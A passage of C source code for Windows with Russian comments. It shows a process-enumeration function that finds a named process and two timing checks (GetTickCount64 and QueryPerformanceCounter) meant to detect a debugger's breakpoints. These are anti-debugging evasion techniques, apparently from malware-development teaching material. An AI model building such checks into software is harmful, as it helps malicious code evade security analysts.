                wprintf(L"\t[i] Найден \"%s\" с PID : %d \n", ProcEntry.szExeFile, ProcEntry.th32ProcessID);
                bSTATE = TRUE;
                break;
            }
        }

    } while (Process32Next(hSnapShot, &ProcEntry));


_EndOfFunction:
    if (hSnapShot != NULL)
        CloseHandle(hSnapShot);
    return bSTATE;
}

DWORD64 TimeTickCheck() {

    DWORD64 T0 = 0;
    DWORD64 T1 = 0;

    // Запомнить начальное время
    T0 = GetTickCount64();

    // Выполнить некоторые действия, которые могут быть остановлены точкой останова

    // Получить время после выполнения действий
    T1 = GetTickCount64();

    // Вычислить разницу
    DWORD64 TimeDiff = T1 - T0;

    return TimeDiff;
}

BOOL TimeTickCheck2() {

    LARGE_INTEGER    Time1    = { 0 },
                    Time2    = { 0 };

    if (!QueryPerformanceCounter(&Time1)) {
        printf("\t[!] QueryPerformanceCounter [1] Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

/*
    ДРУГОЙ КОД
*/

    if (!QueryPerformanceCounter(&Time2)) {
        printf("\t[!] QueryPerformanceCounter [2] Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    printf("\t[i] (Time2.QuadPart - Time1.QuadPart) : %d \n", (Time2.QuadPart - Time1.QuadPart));

    if ((Time2.QuadPart - Time1.QuadPart) > 100000){
        return TRUE;
    }

    return FALSE;
}